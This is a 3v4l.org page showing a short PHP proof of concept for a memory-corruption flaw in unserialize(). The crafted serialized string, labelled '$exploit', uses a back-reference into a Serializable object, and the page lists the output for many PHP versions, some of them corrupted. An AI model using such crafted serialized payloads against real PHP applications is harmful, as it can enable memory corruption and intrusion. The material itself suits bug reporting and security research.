3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump(serialize($data));
based on bT40n
Output for 5.4.45, 5.5.29 - 5.5.35, 5.6.13 - 7.2.0
string(22) "a:2:{i:0;N;i:1;a:0:{}}"
Output for 5.4.9 - 5.4.44, 5.5.24 - 5.5.28, 5.6.8 - 5.6.12
string(18) "a:2:{i:0;N;i:1;N;}"
Output for 5.4.7 - 5.4.8
string(24) "a:2:{i:0;N;i:1;a:529:{}}"
Process exited with code 255.
Output for 5.4.0 - 5.4.6
string(24) "a:2:{i:0;N;i:1;a:529:{}}"
Output for 5.3.19 - 5.3.29
Notice: unserialize(): Error at offset 37 of 38 bytes in /in/gFctB on line 20 string(4) "b:0;"